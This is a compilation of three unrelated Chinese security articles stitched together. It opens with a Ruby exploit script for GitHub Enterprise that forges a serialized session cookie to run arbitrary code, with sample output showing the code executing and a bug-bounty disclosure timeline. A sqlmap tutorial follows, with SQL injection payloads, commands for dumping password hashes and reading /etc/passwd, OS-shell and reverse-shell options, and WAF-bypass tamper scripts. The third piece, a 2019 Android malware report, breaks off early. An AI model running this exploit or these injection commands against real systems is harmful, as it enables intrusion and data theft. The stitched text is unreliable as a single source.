puts "(C) 2017 iblue <[email protected]>"
unless ARGV[0] && ARGV[1]
puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
puts ""
puts "Example: ./exploit.rb ghe.example.org "%x(id > /tmp/pwned)""
exit 1
end
hostname = ARGV[0]
code = ARGV[1]
# First we get the cookie from the host to check if the instance is vulnerable.
puts "[+] Checking if #{hostname} is vulnerable..."
http = Net::HTTP.new(hostname, 8443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates
rqst = Net::HTTP::Get.new("/")
while res = http.request(rqst)
case res
when Net::HTTPRedirection then
puts " => Following redirect to #{res["location"]}..."
rqst = Net::HTTP::Get.new(res["location"])
else
break
end
end
def not_vulnerable
puts " => Host is not vulnerable"
exit 1
end
unless res['Set-Cookie'] =~ /A_gh_manage/
not_vulnerable
end
# Parse the cookie
begin
value = res['Set-Cookie'].split("=", 2)[1]
data = CGI.unescape(value.split("--").first)
hmac = value.split("--").last.split(";", 2).first
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
not_vulnerable if expected_hmac != hmac
rescue
not_vulnerable
end
puts " => Host is vulnerable"
# Now construct the cookie
puts "[+] Assembling magic cookie..."
# Stubs, since we don't want to execute the code locally.
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "#{code}; 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = {"session_id" => "", "exploit" => proxy}
# Marshal session
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
puts "[+] Sending cookie..."
rqst = Net::HTTP::Get.new("/")
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
res = http.request(rqst)
if res.code == "302"
puts " => Code executed."
else
puts " => Something went wrong."
end
**用法示例**
iblue@raven:/tmp$ ruby exploit.rb 192.168.1.165 "%x(id > /tmp/pwned)"
___. .__
____ ___ ________ _ |__ | | __ __ ____
_/ __ \ / /__ | __ | | | | _/ __
___/ > < / __ | _ |_| | / ___/
___ >__/_ (____ /___ /____/____/ ___ >
/ / / / /
[+] Checking if 192.168.1.165 is vulnerable...
=> Following redirect to /setup/...
=> Following redirect to https://192.168.1.165:8443/setup/unlock?redirect_to=/...
=> Host is vulnerable
[+] Assembling magic cookie...
[+] Sending cookie...
=> Code executed.
iblue@raven:/tmp$ ssh -p122 [email protected]
___ _ _ _ _ _ ___ _ _
/ __(_) |_| || |_ _| |__ | __|_ _| |_ ___ _ _ _ __ _ _(_)___ ___
| (_ | | _| __ | || | '_ | _|| ' _/ -_) '_| '_ '_| (_-</ -_)
___|_|__|_||_|_,_|_.__/ |___|_||______|_| | .__/_| |_/__/___|
|_|
Administrative shell access is permitted for troubleshooting and performing
documented operations procedures only. Modifying system and application files,
running programs, or installing unsupported software packages may void your
support contract. Please contact GitHub Enterprise technical support at
[email protected] if you have a question about the activities allowed by
your support contract.
Last login: Thu Jan 26 10:10:19 2017 from 192.168.1.145
admin@ghe-deepmagic-de:~$ cat /tmp/pwned
uid=605(enterprise-manage) gid=605(enterprise-manage) groups=605(enterprise-manage)
**时间线**
2017年1月26日 将问题报告给GitHub
2017年1月26日 GitHub将问题分类
2017年1月31日 被要求更新
2017年1月31日 GitHub颁发一万美元的赏金、T恤、几张贴纸和一个免费的个人计划。哈哈，名人堂也有俺的一席之地了， 真棒！
2017年1月31日 GitHub Enterprise 2.8.7发布
2017年3月14日 在完成本文的时候，GitHub又支付了8000美元。Wow。
**致谢**
特别感谢Phenoelit的joernchen撰写的关于ruby的安全文章，这里的漏洞利用代码借鉴了他的思路，非常感谢！
此外，我还要特别感谢Orange，正是他关于攻击GitHub企业版方面的博客文章才引起了我对这方面的兴趣。 | 社区文章 |
# Sqlmap使用的小小总结QAQ
## 写在前面
最近在学习使用Sqlmap，看了很多文章，很多很杂，所以自己写一个小小的使用总结
如有不对请多多包涵 :P
## 先了解
SQLmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，Microsoft
SQL Server，Microsoft Acess，IBM DB2，SQLLite，Firebird，Sybase和SAP
MaxDB……SQLmap采用几种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，对查询和盲注。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。
当给Sqlmap一个url跑的时候，它会：
1.判断注入时选择的参数
2.判断识别出使用的那种数据库
3.判断注入时使用何种sql注入技术来进行注入
4.根据用户的选择需要，获取相应的需要的数据
### Sqlmap支持的五种sql注入：
#### 1.基于报错的sql注入
##### 1）floor报错注入
经典floor报错注入语句：
（1）select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
（2）select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
##### 2）UpdateXml报错注入
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'
获取字段名和内容的命令格式类似
##### 3）ExtractValue报错注入
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));
ERROR 1105 (HY000): XPATH syntax error: '\users'
#### 2.基于布尔的注入
通过构造sql语句，通过判断语句是否执行成功来对数据进行猜解。
查看表名：
select table_name from information_schema.tables where table_schema=database() limit 0,1;
无论输入什么只有正确和错误的，那么就可以判断是基于布尔的注入
#### 3.基于时间的盲注
基于的原理是，当对数据库进行查询操作，如果查询的条件不存在，语句执行的时间便是0.但往往语句执行的速度非常快，线程信息一闪而过，得到的执行时间基本为0。但是如果查询语句的条件不存在，执行的时间便是0，利用该函数这样一个特殊的性质，可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)；
与基于布尔注入相比，基于时间的盲注使用了if语句来进行判断
#### 4.联合查询注入（union injection）
联合查询注入的前提条件是页面上有显示为位，在可以使用union的情况下进行联合查询注入
联合注入的过程：
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
#### 5.堆查询注入（stack injection）
堆查询注入也称为堆叠注入，通过添加一个新 的查询或者终止查询，可以达到修改数据和调用存储过程的目的，
可以同时执行多条语句的执行时的注入。
## 安装Sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-test
## Sqlmap选项（Options)
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别：0-6（默认为 1）
Target(目标)：
以下至少需要设置其中一个选项，设置目标 URL。
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。
Request（请求）：:
这些选项可以用来指定如何连接到目标 URL。
–data=DATA 通过 POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的 cookie 注入
–drop-set-cookie 忽略响应的 Set –Cookie 头信息
–user-agent=AGENT 指定 HTTP User –Agent 头
–random-agent 使用随机选定的 HTTP User-Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开，加入其他的 HTTP 头
–auth-type=ATYPE HTTP 身份验证类型（基本，摘要或 NTLM）(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据（用户名: 密码）
–auth-cert=ACERT HTTP 认证证书（key_file，cert_file）
–proxy=PROXY 使用 HTTP 代理连接到目标 URL
–proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码）
–ignore-proxy 忽略系统默认的 HTTP 代理
–delay=DELAY 在每个 HTTP 请求之间的延迟时间，单位为秒
–timeout=TIMEOUT 等待连接超时的时间（默认为 30 秒）
–retries=RETRIES 连接超时后重新连接的时间（默认 3）
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的 url 地址
–safe-freq=SAFREQ 两次访问之间测试请求，给出安全的 URL
Optimization（优化）：
这些选项可用于优化 sqlmap.py 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP(S) 连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP(S) 请求并发量（默认为 1）
Injection（注入）：
这些选项可以用来指定测试哪些参数，提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
–tamper 通过编码绕过 WEB 防火墙（WAF）sqlmap.py 默认用 char()
–tamper 插件所在目录 \ sqlmap-dev\tamper
1. apostrophemask.py 用 UTF-8 全角字符替换单引号字符
2. apostrophenullencode.py 用非法双字节 unicode 字符替换单引号字符
3. appendnullbyte.py 在 payload 末尾添加空字符编码
4. base64encode.py 对给定的 payload 全部字符使用 Base64 编码
5. between.py 分别用 “NOT BETWEEN 0 AND #” 替换大于号 “>”，“BETWEEN # AND #” 替换等于号“=”
6. bluecoat.py 在 SQL 语句之后用有效的随机空白符替换空格符，随后用 “LIKE” 替换等于号“=”
7. chardoubleencode.py 对给定的 payload 全部字符使用双重 URL 编码（不处理已经编码的字符）
8. charencode.py 对给定的 payload 全部字符使用 URL 编码（不处理已经编码的字符）
9. charunicodeencode.py 对给定的 payload 的非编码字符使用 Unicode URL 编码（不处理已经编码的字符）
10. concat2concatws.py 用 “CONCAT_WS(MID(CHAR(0), 0, 0), A, B)” 替换像 “CONCAT(A, B)” 的实例
11. equaltolike.py 用 “LIKE” 运算符替换全部等于号“=”
12. greatest.py 用 “GREATEST” 函数替换大于号“>”
13. halfversionedmorekeywords.py 在每个关键字之前添加 MySQL 注释
14. ifnull2ifisnull.py 用 “IF(ISNULL(A), B, A)” 替换像 “IFNULL(A, B)” 的实例
15. lowercase.py 用小写值替换每个关键字字符
16. modsecurityversioned.py 用注释包围完整的查询
17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
18. multiplespaces.py 在 SQL 关键字周围添加多个空格
19. nonrecursivereplacement.py 用 representations 替换预定义 SQL 关键字，适用于过滤器
20. overlongutf8.py 转换给定的 payload 当中的所有字符
21. percentage.py 在每个字符之前添加一个百分号
22. randomcase.py 随机转换每个关键字字符的大小写
23. randomcomments.py 向 SQL 关键字中插入随机注释
24. securesphere.py 添加经过特殊构造的字符串
25. sp_password.py 向 payload 末尾添加 “sp_password” for automatic obfuscation from DBMS logs
26. space2comment.py 用 “/**/” 替换空格符
27. space2dash.py 用破折号注释符 “--” 其次是一个随机字符串和一个换行符替换空格符
28. space2hash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
29. space2morehash.py 用磅注释符 “#” 其次是一个随机字符串和一个换行符替换空格符
30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
31. space2mssqlhash.py 用磅注释符 “#” 其次是一个换行符替换空格符
32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
33. space2mysqldash.py 用破折号注释符 “--” 其次是一个换行符替换空格符
34. space2plus.py 用加号 “+” 替换空格符
35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
36. unionalltounion.py 用 “UNION SELECT” 替换“UNION ALL SELECT”
37. unmagicquotes.py 用一个多字节组合 %bf%27 和末尾通用注释一起替换空格符
38. varnish.py 添加一个 HTTP 头 “X-originating-IP” 来绕过 WAF
39. versionedkeywords.py 用 MySQL 注释包围每个非函数关键字
40. versionedmorekeywords.py 用 MySQL 注释包围每个关键字
41. xforwardedfor.py 添加一个伪造的 HTTP 头 “X-Forwarded-For” 来绕过 WAF
Detection（检测）：
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级（1-5，默认为 1）
–risk=RISK 执行测试的风险（0-3，默认为 1）
–string=STRING 查询有效时在页面匹配字符串
–regexp=REGEXP 查询有效时在页面匹配正则表达式
–text-only 仅基于文本内容比较网页
这些选项可用于调整具体的 SQL 注入测试。
–technique=TECH SQL 注入技术测试（默认 BEUST）
Techniques（技巧）：
–technique /* 测试指定注入类型 \ 使用的技术
不加参数默认测试所有注入技术：
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注
–time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒）
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint（指纹）：
-f, –fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration（枚举）：
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的 SQL 语句。
-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测 DBMS 当前用户是否 DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的 DBMS 数据库表中的条目
–search 搜索列，表和 / 或数据库名称
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的 SQL 语句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection（用户自定义函数注入）：
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access（访问文件系统）：
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access（操作系统访问）：
这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell
–os-pwn 获取一个 OOB shell，meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell，meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问：
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General（一般）：
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入，使用所有默认配置。
Miscellaneous（杂项）：
–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup sqlmap.py 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名（PR）
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor（Vidalia/ Privoxy/ Polipo）代理地址
–wizard 给初级用户的简单向导界面
## Sqlmap基础的使用
./sqlmap.py sqlmap -u "<http://www.xxx.com>" // 查是否有注入，一些基本信息
./sqlmap.py -u "<http://www.xxx.com>" --dbs // 枚举数据库
./sqlmap.py sqlmap -u "<http://www.xxx.com>" --tables // 表名枚举
./sqlmap.py sqlmap -u "<http://www.xxx.com>" --columns -T 数据库表名 // 字段枚举
./sqlmap.py sqlmap -u "<http://www.xxx.com>" --dump -T 数据库表名 -C "字段 1，字段 2，字段
3" //dump
./sqlmap.py -u "<http://www.xxx.com>" --dump -D 数据库名 -T 表名 -C "字段名 1，字段名 2，字段名
3" //dump
获取数据库—> 获取表名—-> 获取字段名—-> 获取数据库内容
## Sqlmap初级使用
sqlmap.py -u “<http://url/news?id=1”> –dbs / _查询是什么数据库sqlmap.py -u
“<http://url/news?id=1”> –current-db /_ 获取当前数据库名称
sqlmap.py -u “<http://url/news?id=1”> –current-user / _获取当前用户名称sqlmap.py -u
“<http://url/news?id=1”> -D DataName –tables /_ 获取 DataName 数据库的表
sqlmap.py -u “<http://url/news?id=1”> –columns -T “tablename” users-D
“db_name” -v 0 /* 列字段
sqlmap.py -u “<http://url/news?id=1”> -D DataName –T TableNamen –C
“admin,password” –dump -v 0 / _获取字段数据sqlmap.py -u “<http://url/news?id=1”>
–dbms “Mysql” /_ 指定数据库类型
sqlmap.py -u “<http://url/news?id=1”> –users / _列数据库用户sqlmap.py -u
“<http://url/news?id=1”> –passwords /_ 获取数据库用户密码
sqlmap.py -u “<http://url/news?id=1”> –passwords -U root -v 0 /
_列出指定用户数据库密码sqlmap.py -u “<http://url/news?id=1”> –dump -C “password,user,id”
-T “tablename” -D “db_name” –start 1 –stop 20 /_ 列出指定字段，列出 20 条
sqlmap.py -u “<http://url/news?id=1”> –dump-all -v 0 / _列出所有数据库所有表sqlmap.py -u
“<http://url/news?id=1”> –privileges /_ 查看权限
sqlmap.py -u “<http://url/news?id=1”> –privileges -U root / _查看指定用户权限sqlmap.py
-u “<http://url/news?id=1”> –is-dba -v 1 /_ 是否是数据库管理员
sqlmap.py -u “<http://url/news?id=1”> –roles / _枚举数据库用户角色sqlmap.py -u
“<http://url/news?id=1”> –udf-inject /_ 导入用户自定义函数（获取 系统权限！）
sqlmap.py -u “<http://url/news?id=1”> –dump-all –exclude-sysdbs -v 0 /
_列出当前库所有表sqlmap.py -u “<http://url/news?id=1”> –union-cols /_union 查询表记录
sqlmap.py -u “<http://url/news?id=1”> –cookie “COOKIE_VALUE” / _cookie
注入sqlmap.py -u “<http://url/news?id=1”> -b(–banner) /_ 获取 banner 信息
sqlmap.py -u “<http://url/news?id=1”> –data “id=3” / _post 注入sqlmap.py -u
“<http://url/news?id=1”> -v 1 -f /_ 指纹判别数据库类型
sqlmap.py -u “<http://url/news?id=1”> –proxy “<http://127.0.0.1:8118”> /
_代理注入sqlmap.py -u “<http://url/news?id=1”> –string “STRING_ON_TRUE_PAGE” /_
指定关键词
sqlmap.py -u “<http://url/news?id=1”> –sql-shell / _执行指定 sql 命令sqlmap.py -u
“<http://url/news?id=1”> –file /etc/passwdsqlmap.py -u
“<http://url/news?id=1”> –os-cmd=whoami /_ 执行系统命令
sqlmap.py -u “<http://url/news?id=1”> –os-shell / _系统交互 shellsqlmap.py -u
“<http://url/news?id=1”> –os-pwn /_ 反弹 shell
sqlmap.py -u “<http://url/news?id=1”> –reg-read / _读取 win 系统注册表sqlmap.py -u
“<http://url/news?id=1”> –dbs-o “sqlmap.log”/_ 保存进度
sqlmap.py -u “<http://url/news?id=1”> –dbs -o “sqlmap.log” –resume /* 恢复 已保存进度
## Sqlmap使用进阶
### 利用Cookies
cookie "id=9"
在 ASP 中, request 对象获取客户端提交数据常用的是 get 和 post 两种方式, 同时 request 对象可以不通过集合来获得数据,
即直接使用”request(“name”)”. 但它效率低下, 容易出错, 当我们省略具体的集合名称时, asp 是按
QueryString(get),Form(post),Cookie,Severvariable, 集合的顺序来搜索的. cookie
是保存在客户端的一个文本文件, 可以进行修改, 这样一来, 就可以利用 Request.cookie 方式来提交变量的值, 从而利用系统的漏洞进行注入攻击
### Sqlmap表单的使用
表单枚举
./sqlmap.py -u "<http://www.xxx.com>" --forms
指定表单数据
./sqlmap.py -u "<http://www.xxx.com>" --data "tfUName=1&UPass=1"
burpsuite 抓包与构造 request 请求
./sqlmap.py -r search_test.py -p tfUPass
### 交互式shell的使用（可提权）
./sqlmap.py -u "<http://www.xxx.com>" --os-cmd "ipconfig"
./sqlmap.py -u "<http://www.xxx.com>" --os-shell
./sqlmap.py -u "<http://www.xxx.com>" --os-pwn
./sqlmap.py -u "<http://www.xxx.com>" --sql-shell
### 配合Google Hacking使用
-p name / _多个参数如 index.php?n_id=1 &name=2&data=2020 我们想指定 name 参数进行注入sqlmap.py -g “site:xxxxx.com inurl:php?id=” –dump-all –batch /_google 搜索注入点自动跑出所有字段，需保证 google.com 能正常访问
### WAF绕过
\--batch Never ask for user input, use the default behaviour
\--tamper=TAMPER Use given script(s) for tampering injection data
常见 encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py
例子：
./sqlmap.py -u "<http://www.xxx.com>" -v 3 --dbs --batch --tamper
"space2hash.py"
### 智能level测试等级
sqlmap.py -u “<http://www.2cto.com> /news?id=1” –smart –level 3 –users /*smart
智能 level 测试等级
### 基本信息收集的SQL语句
#### oracle
`select table_name,row_nums from user_tables order by row_nums desc [where table_name like '%%']查询前10条select * from [table_name] where numrow<=10`
#### mysql
`select table_name from information_schema.tables [where table_name like '%%']查询前10条select * from [table_name] limit 10`
#### Sqlserver
`select a.name,b.rows from sysobjects a with(nolock) join sysindexes b on b.id=a.id where a.xtype='u' and b.indid in (0,1) order by b.rows desc查询前10条select top 10 * from [table_name]`
## Sqlmap盲注过程相关的函数及使用方法
#### mid()
\--从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name：要提取字符串的字段内容
start：必需，规定起始位置（值为1）
length可选，代表长度；如果省略，则返回剩余的文本内容
mysql> select mid(adnumber,1,2)from address_list;
+-------------------+
| mid(adnumber,1,2) |
+-------------------+
| 31 |
| 31 |
| 31 |
| 31 |
| 31 |
+-------------------+
5 rows in set (0.01 sec)
mysql> select mid(adnumber,1,3)from address_list;
+-------------------+
| mid(adnumber,1,3) |
+-------------------+
| 311 |
| 311 |
| 311 |
| 311 |
| 311 |
+-------------------+
5 rows in set (0.00 sec)
mysql> select mid(adnumber,2,3)from address_list;
+-------------------+
| mid(adnumber,2,3) |
+-------------------+
| 117 |
| 117 |
| 117 |
| 117 |
| 117 |
+-------------------+
5 rows in set (0.00 sec)
#### limit()
\--返回前几条或者中间某几行数据
select * from table limit m,n;
从第m条记录开始返回n条记录
mysql> select * from user limit 1,2;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number | classinfo | createdata |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555 | 123456 | 311700 | 177777 | 2019-07-06 20:45:50 |
| 83 | 9999 | 123456 | 311700 | 1777777 | 2019-07-06 20:46:14 |
+----+----------+----------+------------+-----------+---------------------+
2 rows in set (0.00 sec)
mysql> select * from user limit 1,3;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number | classinfo | createdata |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555 | 123456 | 3117 | 1777777 | 2019-07-06 20:45:50 |
| 83 | 9999 | 123456 | 311700 | 1777777 | 2019-07-06 20:46:14 |
| 84 | 安卓大神 | 123456 | 311700 | 17777777 | 2019-07-06 20:46:50 |
+----+----------+----------+------------+-----------+---------------------+
3 rows in set (0.00 sec)
#### concat、concat_ws、group_concat
concat函数在连接字符串的时候，只要其中一个是NULL,那么将返回NULL
mysql> select concat('123',null);
+--------------------+
| concat('123',null) |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)
mysql> select concat('123','123456');
+------------------------+
| concat('123','123456') |
+------------------------+
| 123123456 |
+------------------------+
1 row in set (0.00 sec)
concat_ws函数在执行的时候,不会因为NULL值而返回NULL
mysql> select concat_ws('123',null);
+-----------------------+
| concat_ws('123',null) |
+-----------------------+
| |
+-----------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('123','456789');
+---------------------------+
| concat_ws('123','456789') |
+---------------------------+
| 456789 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select concat_ws('.','123','456789');
+-------------------------------+
| concat_ws('.','123','456789') |
+-------------------------------+
| 123.456789 |
+-------------------------------+
1 row in set (0.00 sec)
#### Count()
\--聚集函数，统计元祖的个数
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
| 4 |
+----------+
1 row in set (0.00 sec)
#### rand()
\--用于产生一个0~1的随机数
mysql> select rand(),rand();
+--------------------+---------------------+
| rand() | rand() |
+--------------------+---------------------+
| 0.4360487893559493 | 0.24646534328019745 |
+--------------------+---------------------+
1 row in set (0.00 sec)
#### group by
\--依据我们想要的规则对结果进行分组
mysql> select * from user group by username;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number | classinfo | createdata |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555 | 123456 | 311700 | 11111111 | 2019-07-06 20:45:50 |
| 83 | 9999 | 123456 | 311700 | 1111111 | 2019-07-06 20:46:14 |
| 81 | 古 | 123456 | 311700 | 1111111 | 2019-07-06 20:28:13 |
| 84 | 大神 | 123456 | 311700 | 1111111 | 2019-07-06 20:46:50 |
+----+----------+----------+------------+-----------+---------------------+
4 rows in set (0.00 sec)
#### length()
\--返回字符串的长度
mysql> select length('xianzhi');
+-------------------+
| length('xianzhi') |
+-------------------+
| 7 |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from user where length(username)=4;
+----+----------+----------+------------+-----------+---------------------+
| id | username | password | number | classinfo | createdata |
+----+----------+----------+------------+-----------+---------------------+
| 82 | 5555 | 123456 | 3117004597 | 170806 | 2019-07-06 20:45:50 |
| 83 | 9999 | 123456 | 3117004598 | 170806 | 2019-07-06 20:46:14 |
+----+----------+----------+------------+-----------+---------------------+
2 rows in set (0.00 sec)
#### Substr()
\--截取字符串
三个参数 （所要截取字符串，截取的位置，截取的长度）
mysql> select substr('abcdefghijk',4,8);
+---------------------------+
| substr('abcdefghijk',4,8) |
+---------------------------+
| defghijk |
+---------------------------+
1 row in set (0.00 sec)
mysql> select substr(username,1,2)from user;
+----------------------+
| substr(username,1,2) |
+----------------------+
| 古日 |
| 55 |
| 99 |
| 安卓 |
+----------------------+
4 rows in set (0.00 sec)
#### Ascii()
\--返回字符串的ascii码
mysql> select ascii(9);
+----------+
| ascii(9) |
+----------+
| 57 |
+----------+
1 row in set (0.00 sec)
mysql> select ascii(substr(username,1,2))from user;
+-----------------------------+
| ascii(substr(username,1,2)) |
+-----------------------------+
| 229 |
| 53 |
| 57 |
| 229 |
+-----------------------------+
4 rows in set (0.00 sec)
## 参考资料 | 社区文章 |
# 2019年Android恶意软件专题报告：未来移动安全呈现四大趋势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在过去的2019年中，日趋成熟的移动互联网技术不仅改变了无数用户的生活方式，也为各行各业的变革与繁荣提供了先决条件。然而，当我们享受技术进步带来多元体验的同时，也要时刻警惕其背后隐藏的安全隐患。
近日，360安全大脑发布的《2019年Android恶意软件专题报告》显示，2019年全年，360安全大脑共截获移动端新增恶意软件样本约180.9万个，各类层出不穷的恶意软件，时刻威胁着每一个用户的切身利益，不同行业领域的正常发展，甚至影响到国家的安全建设。
## 春节前后恶意软件扎堆 资费消耗坑惨安卓机友
从2019
年全年恶意样本增长情况中不难发现，1月与12月出现新增样本峰值，其余月份新增样本趋势较为平稳。这可能是由于在春节假期前后，棋牌游戏、抢红包等大众社交娱乐活动显著增多，不法分子往往能够趁虚而入，通过大肆传播恶意软件，赚得盆满钵满。
在移动端新增恶意软件类型分布方面，资费消耗与隐私窃取分别以高达46.8%和41.9%的占比，成为横行无忌的主要恶意软件类型，其次分别为远程控制、流氓行为、恶意扣费和欺诈软件。
此外，庞大的网民基数和发达的经济环境，促使广东省成为滋生恶意软件的沃土，占全国拦截量的9.8%。
在如此严峻的安全形势之下，360安全大脑全年累计为全国手机用户拦截恶意软件攻击约9.5亿次。另外，通过统计2019年Q4季度样本数量TOP500的恶意软件发现，由于赌博棋牌与色情视频类软件增长态势显著，致使拦截量也实现同步飙升。
## 移动互联网助力全行业飞速发展 多领域饱受恶意软件攻击之苦
随着移动互联网创新技术的进一步完善，用户规模的稳步增长，金融服务、生活服务以及社交娱乐等领域全面面向移动互联网迁移，但在此其中，各个行业也无时不饱受移动端恶意软件攻击之苦。2019年中，移动金融行业、移动流量产业和移动社交领域均遭遇移动端恶意软件侵害，行业发展受到严重影响。
